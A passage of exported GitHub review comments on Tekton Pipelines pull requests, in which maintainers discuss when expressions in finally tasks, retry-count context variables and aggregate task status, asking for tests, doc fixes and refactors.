wrong?", "comment_id": 568873198, "created_at": "2021-02-02T19:29:48Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i wonder how useful this function actually is vs declaring a pipeline inline", "comment_id": 568873555, "created_at": "2021-02-02T19:30:19Z", "line": 573, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "moved the TOC updates to a separate PR: https://github.com/tektoncd/pipeline/pull/3743", "comment_id": 568889015, "created_at": "2021-02-02T19:56:25Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nice update!", "comment_id": 568909551, "created_at": "2021-02-02T20:29:45Z", "line": 4939, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "thanks \ud83d\ude00 ", "comment_id": 568911087, "created_at": "2021-02-02T20:32:38Z", "line": 946, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "updated it to use `git-clone` and `git-add-comment`, please let me know what you think and I'm also open to removing the example", "comment_id": 568911493, "created_at": "2021-02-02T20:33:27Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im a little nervous (which maybe is a sign that im overthinking this!) about all the test here combining the two scenarios, i.e. validation failure in the pipelinetask AND in the finally task.\r\n\r\nat least since the path contains both we can know both were caught, but im wondering if it'd be good to also cover a case where only one is set.\r\n\r\nsince the new cases we want to add are so similar to the existing ones, we have a few choices:\r\n\r\n1. Combine the cases together like this PR does\r\n2. Duplicate the cases\r\n3. To be extra sure, do (2) AND do (1) (test them all separately AND together)\r\n\r\nI think (3) is overkill, so I'm happy to go with this - I feel like if we do (1) we should do (2) for _at least_ one scenario, or do (2) and have one test that combines the cases like in (1)", "comment_id": 568912040, "created_at": "2021-02-02T20:34:29Z", "line": 655, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "good catch, fixed it", "comment_id": 568912174, "created_at": "2021-02-02T20:34:45Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "maybe this is overkill, but now that we're allowing when expressions in finally, does it make sense to add a test that ensures that conditions aren't allows in when expressions? (just ignore me if this already exists)", "comment_id": 568913938, "created_at": "2021-02-02T20:37:54Z", "line": 499, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "can we add coverage for results replacements in when expressions via the tests in this file as well? (i only see status and param here, and only see results replacement tested in reconciler, end to end and examples)", "comment_id": 568915653, "created_at": "2021-02-02T20:41:05Z", "line": 1088, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I'm a bit confused by this line - this doesn't seem specific to finally tasks, im wondering why pipelinetasks with when expressions currently work without this line? (was there a bug? if so, might make sense to separate that out into a separate commit and/or PR if possible)", "comment_id": 568917121, "created_at": "2021-02-02T20:43:55Z", "line": 96, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nit: is it possible to word these as a switch statement? feels weird that facts.isFinalTask can be true and yet facts.isDAGTask(t.PipelineTask.Name) still gets evaluated ", "comment_id": 568918029, "created_at": "2021-02-02T20:45:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "similar to above comments about combining cases together, i wonder if it would make sense to add a few new ones here too?", "comment_id": 568918455, "created_at": "2021-02-02T20:46:23Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "there's something very odd about getting a \"dag\" from the finally tasks - but i think thats a whole other story XD", "comment_id": 568919532, "created_at": "2021-02-02T20:48:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "> that conditions aren't allows in when expressions \r\n\r\ndid you mean \"that conditions aren't allowed in finally\"? if so, that's already tested in:\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/075910e6a0e7e40fb01530aab05d4ec8ac5433a7/pkg/apis/pipeline/v1beta1/pipeline_validation_test.go#L2001-L2014", "comment_id": 568968398, "created_at": "2021-02-02T22:15:02Z", "line": 499, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "\ud83c\udf89 ", "comment_id": 568968933, "created_at": "2021-02-02T22:15:55Z", "line": 1009, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "The `ApplyPipelineTaskContext` function replaces the context variables for execution status. It is written more generally, I guess so it could be easily reused later, but it is currently used on finally tasks only in:\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/08177fab0e2f2d2cc8e30e67f018a552338fca26/pkg/reconciler/pipelinerun/pipelinerun.go#L614-L617\r\n\r\nso the line added in this PR is to substitute execution status from pipeline tasks to the when expressions in the finally tasks, so there's no bug\r\n", "comment_id": 568975185, "created_at": "2021-02-02T22:27:58Z", "line": 96, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "simplified the logic and removed the double checks", "comment_id": 568981956, "created_at": "2021-02-02T22:41:56Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "shortened them and added comments to describe them", "comment_id": 568988619, "created_at": "2021-02-02T22:56:13Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "replaced it, thanks!", "comment_id": 568988674, "created_at": "2021-02-02T22:56:22Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "that's right, replaced with checking the taskrun status", "comment_id": 568989015, "created_at": "2021-02-02T22:57:05Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "we can't have `finally tasks` without `dag tasks`, so we can't do option 2 with `finally tasks` only\r\n\r\nleft the `dag tasks` as they are, and added cases with combined `dag tasks` and `finally tasks` ", "comment_id": 568997511, "created_at": "2021-02-02T23:16:48Z", "line": 655, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "result replacements in when expressions are already tested in this file at: https://github.com/tektoncd/pipeline/blob/33c3a6972691924aa011d15bc7307b5a19775bcb/pkg/reconciler/pipelinerun/resources/apply_test.go#L291-L447", "comment_id": 569000340, "created_at": "2021-02-02T23:23:15Z", "line": 1088, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "created a PR for the refactor so that we consider them separately: https://github.com/tektoncd/pipeline/pull/3744", "comment_id": 569011780, "created_at": "2021-02-02T23:51:33Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "added new ones instead of combining", "comment_id": 569014473, "created_at": "2021-02-02T23:58:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "@pritidesai what do you think? maybe we can refactor this in a future PR?", "comment_id": 569014737, "created_at": "2021-02-02T23:59:13Z", "line": 573, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "refactored to reuse the same function, which tasks the params list as an argument", "comment_id": 569018313, "created_at": "2021-02-03T00:08:46Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "This could be simplified by utilizing `IsFinallySkipped` instead of changing this function.\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/01286cf978750e85609fa0a0e9a1aa177fc724f8/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L220\r\n\r\nThis skip function is primarily used to build cache of skipped `dag` tasks. This caching was introduced in PR -https://github.com/tektoncd/pipeline/pull/3524\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/01286cf978750e85609fa0a0e9a1aa177fc724f8/pkg/reconciler/pipelinerun/resources/pipelinerunstate.go#L59", "comment_id": 569150348, "created_at": "2021-02-03T05:58:23Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "this change is not needed if we are utilizing `IsFinallySkipped` ", "comment_id": 569152436, "created_at": "2021-02-03T06:04:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "Just introduce one `if` statement after [line 227](https://github.com/tektoncd/pipeline/blob/01286cf978750e85609fa0a0e9a1aa177fc724f8/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L227) \r\n\r\n```\r\n\t\tif t.whenExpressionsSkip(facts) {\r\n\t\t\treturn true\r\n\t\t}\r\n\r\n```", "comment_id": 569153882, "created_at": "2021-02-03T06:08:54Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "these tests can be moved to `TestResolvedPipelineRunTask_IsFinallySkipped`", "comment_id": 569154535, "created_at": "2021-02-03T06:10:43Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "PR - https://github.com/tektoncd/pipeline/pull/3744 will not be needed if we change `IsFinallySkipped`.", "comment_id": 569160891, "created_at": "2021-02-03T06:28:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "actually ended up doing (3), but the ones with finally tasks have dag tasks as well (but the dag tasks in some of those cases don't have when expressions)", "comment_id": 569489992, "created_at": "2021-02-03T15:07:04Z", "line": 655, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "ahh i see: since it was only used for finally tasks (and since we dont support status in non finally tasks), got it! thanks for explaining :D", "comment_id": 569627795, "created_at": "2021-02-03T17:58:11Z", "line": 96, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: s/executed/skipped/", "comment_id": 570414824, "created_at": "2021-02-04T17:36:09Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "sure we can in a separate PR. This function is useful since its shared between two separate tests. We had the tests implemented without this common function and found a lot of repetition. We can declare a pipeline inline in favor of the readability instead of using this function.", "comment_id": 570419806, "created_at": "2021-02-04T17:43:16Z", "line": 573, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "good catch, fixed it ", "comment_id": 570432413, "created_at": "2021-02-04T18:00:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "@chmouel can you please review the proposal https://github.com/tektoncd/community/pull/371 and let me know if it matches your expectations?", "comment_id": 596240294, "created_at": "2021-03-17T17:32:02Z", "line": 934, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "hey @jerop, based on my understanding, `rprt.Skip(pipelineRunFacts)` returns `false` for any finally task but `rprt.IsFinallySkipped(pipelineRunFacts)` evaluates when expression and returns `true` since the when expression evaluates to `false`.", "comment_id": 893893787, "created_at": "2022-06-09T19:44:16Z", "line": 633, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "but this would work, provided `nextRprts` contains the finally tasks \ud83e\udd23 ", "comment_id": 893895740, "created_at": "2022-06-09T19:47:03Z", "line": 633, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3738, "repo": "pipeline"} +{"author": null, "body": "looks like some extra `::` here? suggest just \"busybox\"", "comment_id": 587469583, "created_at": "2021-03-04T13:30:01Z", "line": null, "path": "examples/v1beta1/pipelineruns/using-retries-and-retry-count-variables.yaml", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "No need for the copy here I don't think - `ApplyPipelineTaskContexts` calls `ApplyReplacements`. `ApplyReplacments` makes a copy as the first thing it does.", "comment_id": 587478361, "created_at": "2021-03-04T13:42:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "It looks like `pt.Retries` will be 0 if a value is not provided. so this will set the variable to `\"0\"`. Is that right?", "comment_id": 587495922, "created_at": "2021-03-04T14:05:27Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "yaoxiaoqi", "body": "Yes, I think zero is the expected value for us. If `retries` of a PipelineTask is set to 5, this means it will run 6 times at most (first run + 5 retries). If a PipelineTask doesn't specify `retries`, it will only run one time. The retry is supposed to be 0(first run + 0 retry) under this circumstance.", "comment_id": 587499809, "created_at": "2021-03-04T14:10:25Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "yaoxiaoqi", "body": "oh sorry. mistyped them when i was testing.", "comment_id": 587500395, "created_at": "2021-03-04T14:11:07Z", "line": null, "path": "examples/v1beta1/pipelineruns/using-retries-and-retry-count-variables.yaml", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "So I think this code comment might not be quite right - it says `\"\"` is the default if a value is not available but it sounds like `\"0\"` is the default if a value is not available.", "comment_id": 588262742, "created_at": "2021-03-05T12:34:39Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "pritidesai", "body": "s/using-the-runafter-parameter/using-the-retries-parameter/\r\n\r\nsorry, its very similar \ud83d\ude09 ", "comment_id": 597227466, "created_at": "2021-03-18T20:41:06Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3770, "repo": "pipeline"} +{"author": "pritidesai", "body": "s/Varibles/Variables/", "comment_id": 597227762, "created_at": "2021-03-18T20:41:38Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3770, "repo": "pipeline"} +{"author": "pritidesai", "body": "This variable is only limited to a `pipelineTask` with an inlined `taskSpec`. Is that by design? `pipelineTask` does imply that the task has to be a `pipelineTask` but the `pipelineTask` can either be specified with `taskRef` or `taskSpec` and `retries` are supported with both possibilities.", "comment_id": 597250666, "created_at": "2021-03-18T21:21:29Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "bobcatfish", "body": "my assumption these would be available to use as param values - and using them in an inline spec feels like a bonus\r\n\r\n(i dont think Tasks should be able to refer to these values since they need to work outside of the context of pipelines)", "comment_id": 599745564, "created_at": "2021-03-23T16:42:38Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "yaoxiaoqi", "body": "I'm unsure if `pipelineTask` can be specified with `taskRef` either. It's a little bit weird that a variable called `context.pipelineTask.*` in the spec of an individual `Task`.", "comment_id": 601438738, "created_at": "2021-03-25T12:26:40Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "pritidesai", "body": "This is throwing me off \ud83d\ude22 Why limit `ApplyPipelineTaskContexts` when a pipelineTask has inlined specification \ud83e\udd14 \r\n\r\nIt works great as long as its available as param. Can we please add an example similar to [using_context_variables.yaml\r\n](https://github.com/tektoncd/pipeline/blob/main/examples/v1beta1/pipelineruns/using_context_variables.yaml)\r\n\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/01a3388b1d71ff94b421324c93b31d3b55b62a59/examples/v1beta1/pipelineruns/using_context_variables.yaml#L10-L12\r\n\r\nI tried using it as a param which fails with:\r\n\r\n```\r\nadmission webhook \"validation.webhook.pipeline.tekton.dev\" denied the request: validation failed: non-existent variable in \"echo $(params.pipelineTask-retries)\\\r\n```\r\n", "comment_id": 601923749, "created_at": "2021-03-26T00:24:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "pritidesai", "body": "please see my [comment](https://github.com/tektoncd/pipeline/pull/3770/files#r601923749) \ud83c\udd99 ", "comment_id": 601924466, "created_at": "2021-03-26T00:24:59Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "yaoxiaoqi", "body": "Hi Priti! Thanks for pointing out this problem. This PR supports parameter replacement now. But replacing variables in TaskRef remains unresolved. However, I implemented it in another way in the draft PR below. \r\nhttps://github.com/yaoxiaoqi/pipeline/pull/1\r\nThe PR is very simple but support all kinds of replacement, like params in pipelineTask, params in TaskSpec, inlined Taskspec and TaskSpec from TaskRef, etc. But the implementation is not documented in the design doc and implemented in a pretty tricky way. It utilizes the TaskSpec Param to pass the value of PipelineTask Retries to taskrun/apply.go and replace the retries variable there. I'd love to know your opinion on this change. Thanks!", "comment_id": 608074262, "created_at": "2021-04-06T18:09:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "I don't think we should replace this variable in the `taskSpec`. Instead the user should have to add an extra param as part of their taskSpec which can receive the retry values.\r\n\r\nThis would better match the way our other variables work I think.", "comment_id": 618374076, "created_at": "2021-04-22T12:54:59Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "Do you have use-cases for `retry-count` and `retries` in when expressions and conditions? I am trying to think of some but am not coming up with anything right now.\r\n\r\nIf we don't have a strong idea of how they would be used for these fields I suggest only supporting them in `params` for now.", "comment_id": 618395549, "created_at": "2021-04-22T13:22:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "yaoxiaoqi", "body": "Sorry, I can't either. Got it. I'll only support the replacement in `params`.", "comment_id": 620204992, "created_at": "2021-04-26T11:22:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "yaoxiaoqi", "body": "Ok, but I notice some variables like $(context.taskRun.uid) can be directly used in the taskSpec. There is an example to do so [examples/v1beta1/taskruns/using_context_variables.yaml](https://github.com/tektoncd/pipeline/blob/main/examples/v1beta1/taskruns/using_context_variables.yaml)", "comment_id": 620216587, "created_at": "2021-04-26T11:40:51Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "You're absolutely right about `TaskRuns` with embedded `taskSpecs`.\r\n\r\nHere we deal with `Pipeline` -> embedded `PipelineTask` -> embedded `taskSpec`. No other pipeline context variable in this situation gets replaced. Let's look at another example:\r\n\r\n```yaml\r\nkind: Pipeline\r\napiVersion: tekton.dev/v1beta1\r\nmetadata:\r\n name: foo\r\nspec:\r\n tasks:\r\n - name: t\r\n taskSpec:\r\n steps:\r\n - image: alpine\r\n script: |\r\n echo $(context.pipelineRun.uid)\r\n---\r\nkind: PipelineRun\r\napiVersion: tekton.dev/v1beta1\r\nmetadata:\r\n name: foo-run\r\nspec:\r\n pipelineRef:\r\n name: foo\r\n```\r\n\r\nTrying to access `$(context.pipelineRun.uid)` directly in this way doesn't work. There's an error because the variable did not get replaced in the `taskSpec`:\r\n\r\n```\r\n[t : unnamed-0] + context.pipelineRun.uid\r\n[t : unnamed-0] /tekton/scripts/script-0-8tpb7: line 3: context.pipelineRun.uid: not found\r\n```\r\n\r\nI do think we should improve this - the pipeline context variables should be usable in the `taskSpec`. But I think that should happen for all the context variables at once, so possibly in another PR to discuss?", "comment_id": 620231001, "created_at": "2021-04-26T12:03:11Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": null, "body": "nit: Move this one up to the \"Variables available in a Pipeline\" section", "comment_id": 622127934, "created_at": "2021-04-28T12:28:02Z", "line": null, "path": "docs/variables.md", "pr_number": 3770, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am happy to merge this as is, but setting the context variable here will only make it available to pipelineTask and will not be able to custom task. Since the `retries` is constant and does not change with the pipeline execution, we can set this while resolving a pipeline task.", "comment_id": 645790000, "created_at": "2021-06-04T19:01:14Z", "line": 710, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3770, "repo": "pipeline"} +{"author": "souleb", "body": "nit: params instead of param", "comment_id": 600888050, "created_at": "2021-03-24T21:31:42Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "fixed thanks @souleb ", "comment_id": 605934364, "created_at": "2021-04-01T20:42:22Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": null, "body": "nit: the indent seems a bit off here; drop to 2 spaces?", "comment_id": 607082099, "created_at": "2021-04-05T13:16:21Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": null, "body": "nit: `aggreate` -> `aggregate`", "comment_id": 607083071, "created_at": "2021-04-05T13:18:19Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": null, "body": "Suggest making `Tasks` lowercase to match `finally` in this sentence?", "comment_id": 607083582, "created_at": "2021-04-05T13:19:22Z", "line": null, "path": "docs/variables.md", "pr_number": 3817, "repo": "pipeline"} +{"author": null, "body": "Maybe we should skip adding this to the map completely if `checkDAGTasksDone` is `false`? I don't see a way to end up in a `None` state except where Pipelines has incorrectly decided to run `finally` before `tasks` is finished, which would be a bug, I think?", "comment_id": 607101212, "created_at": "2021-04-05T13:55:44Z", "line": 416, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "it'd be great to add a link to a working example demonstrating this", "comment_id": 609868878, "created_at": "2021-04-08T16:14:41Z", "line": 937, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "same as above on adding a link to an example", "comment_id": 609869184, "created_at": "2021-04-08T16:15:02Z", "line": 1066, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "please add an example demonstrating using aggregate status in whenexpressions as well", "comment_id": 609870336, "created_at": "2021-04-08T16:16:18Z", "line": 58, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "need to update this comment to include `$(tasks.status)` as well", "comment_id": 609875123, "created_at": "2021-04-08T16:21:40Z", "line": 269, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "an alternative to updating the comment in line 248 to include `$(tasks.status)` could be moving this block before it ", "comment_id": 609876285, "created_at": "2021-04-08T16:23:00Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "please add a similar test with a dag task attempting to access the aggregate status of tasks in whenexpressions", "comment_id": 609882186, "created_at": "2021-04-08T16:29:02Z", "line": 2377, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "please add a similar test with a finally task accessing the aggregate status of tasks in whenexpressions", "comment_id": 609884075, "created_at": "2021-04-08T16:30:55Z", "line": 2294, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "please add a similar test for aggregate status in when expressions in finally tasks\r\n\r\nwe have tests for the individual execution statuses below\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/c15d8e1fee0ac4b4ebbe0d516795ca988e5435ba/test/pipelinefinally_test.go#L216-L235\r\n", "comment_id": 609890413, "created_at": "2021-04-08T16:37:54Z", "line": 152, "path": "test/pipelinefinally_test.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup, done \ud83d\udc4d ", "comment_id": 621662978, "created_at": "2021-04-27T22:38:39Z", "line": 937, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83d\ude1c done \ud83d\udc4d ", "comment_id": 621663329, "created_at": "2021-04-27T22:38:54Z", "line": 1066, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "sure, added an example in [pipelinerun-with-when-expressions.yaml](https://github.com/tektoncd/pipeline/pull/3817/files#diff-7627b6a35e7abe827131f78979e678fc098c67410c55c1b072a2bf8ddf354bd4) \u2b07\ufe0f ", "comment_id": 621665220, "created_at": "2021-04-27T22:40:28Z", "line": 58, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup, done \ud83d\udc4d ", "comment_id": 621667391, "created_at": "2021-04-27T22:45:00Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83e\udd26\u200d\u2640\ufe0f done \ud83d\udc4d ", "comment_id": 621667591, "created_at": "2021-04-27T22:45:33Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "done \ud83d\udc4d ", "comment_id": 621667688, "created_at": "2021-04-27T22:45:44Z", "line": null, "path": "docs/variables.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks for the alternative recommendation, its much cleaner \ud83d\ude4f ", "comment_id": 621668005, "created_at": "2021-04-27T22:46:31Z", "line": 269, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "done \ud83d\udc4d ", "comment_id": 621668077, "created_at": "2021-04-27T22:46:41Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "added one more `when` expression to check the aggregate status \ud83d\udc4d ", "comment_id": 621668467, "created_at": "2021-04-27T22:47:27Z", "line": 152, "path": "test/pipelinefinally_test.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup, have added when expression accessing aggregate status of the tasks", "comment_id": 621668975, "created_at": "2021-04-27T22:48:39Z", "line": 2294, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "Have created a separate PR #3899 to validate when expressions in dag tasks such that the context variables are prohibited in the tasks.", "comment_id": 621669660, "created_at": "2021-04-27T22:50:18Z", "line": 2377, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "this is separated in PR #3899 ", "comment_id": 621669899, "created_at": "2021-04-27T22:50:53Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup, there is no way to end up in a `None` state from `finally`. This is added mainly for the [unit](https://github.com/tektoncd/pipeline/pull/3817/files#diff-22f0dfe65e555d6833c559a7a03613fa9cfec74ddf0962109a8b7ed810ccc850R1374) testing. Any better alternative please? \ud83d\ude4f ", "comment_id": 621672952, "created_at": "2021-04-27T22:58:04Z", "line": 416, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3817, "repo": "pipeline"} +{"author": null, "body": "Ah, ok. The only other option I guess would be not unit testing this if we don't think it ever happens. But I don't feel strongly either way so I think this is good!", "comment_id": 623244490, "created_at": "2021-04-29T17:16:22Z", "line": 416, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: maybe rephrasing this from a pipeline POV would make the sentence more clear? \r\nE.g. A pipeline can inject the status of specific `pipelineTasks` to tasks in the `finally` section through the task parameters.", "comment_id": 623987201, "created_at": "2021-04-30T15:55:39Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: Editing suggestion\r\n\"A `finally` task may access the aggregated execution status of all `Tasks` through its params.\" or \r\n\"A pipeline can inject its aggregated execution status to tasks in the finally section through the task parameters.\" ?", "comment_id": 623990135, "created_at": "2021-04-30T16:00:15Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "afrittoli", "body": "\ud83d\udc4d ", "comment_id": 623991247, "created_at": "2021-04-30T16:02:00Z", "line": 